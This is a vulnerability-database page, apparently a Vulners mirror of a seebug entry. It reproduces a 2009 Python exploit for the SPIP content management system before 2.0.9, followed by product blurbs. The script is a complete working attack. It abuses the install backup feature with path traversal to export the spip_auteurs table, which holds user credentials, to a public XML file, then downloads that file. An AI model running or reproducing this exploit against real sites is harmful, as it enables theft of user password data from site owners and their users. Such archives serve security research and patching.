Lucene search
K

SPIP < 2.0.9 Arbitrary Copy All Passwords to XML File Remote Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

SPIP < 2.0.9 Arbitrary Copy All Passwords to XML File Remote Exploi

Code

                                                #!/usr/bin/env python
# SPIP - Content Management System &#60; 2.0.9 exploit
# http://www.securityfocus.com/bid/36008
# Author : Kernel_Panik
#

import urllib, urllib2
import cookielib
import sys

def send_request(urlOpener, url, post_data=None):
   request = urllib2.Request(url)
   url = urlOpener.open(request, post_data)
   return url.read()

def extract_hash(formulaire):
   return formulaire.split(&#34;&#60;input name=&#39;hash&#39; type=&#39;hidden&#39; value=&#39;&#34;)[1].split(&#34;&#39;&#34;)[0]


if len(sys.argv) &#60; 3:
   print &#34;SPIP &#60; 2.0.9 exploit by Kernel_Panik\n\tUsage: python script.py &#60;Base_url&#62; &#60;filename&#62;&#34;
   exit()

filename = sys.argv[2]
base_url = sys.argv[1]

cookiejar = cookielib.CookieJar()
urlOpener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))


formulaire = send_request(urlOpener, base_url+&#34;ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/&#34;+filename)
print &#34;[+] First request sended...&#34;

formulaire_data = {&#39;action&#39; : &#39;export_all&#39;,
                   &#39;export[]&#39; : &#39;spip_auteurs&#39;,
                   &#39;hash&#39; : extract_hash(formulaire),
                   &#39;arg&#39; : &#39;start,,../../../IMG/&#39;+filename+&#39;.xml,0,1.3&#39;
                  }
formulaire_data = urllib.urlencode(formulaire_data)


send_request(urlOpener, base_url+&#34;spip.php&#34;, formulaire_data)
print &#34;[+] Formulaire content sended&#34;


send_request(urlOpener, base_url+&#34;ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/&#34;+filename)
print &#34;[+] Second request sended&#34;


send_request(urlOpener, base_url+&#34;ecrire/?exec=install&reinstall=non&transformer_xml=export_all&nom_sauvegarde=../../../IMG/&#34;+filename)
print &#34;[+] Last request sended&#34;

xml_content = send_request(urlOpener, base_url+&#34;IMG/&#34;+filename+&#34;.xml&#34;)
print &#34;[+] Xml file obtained&#34;


result = open(filename+&#34;.xml&#34;, &#34;w&#34;)
result.write(xml_content)
result.close()
print &#34;[+] File saved &#34;

# milw0rm.com [2009-08-18]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation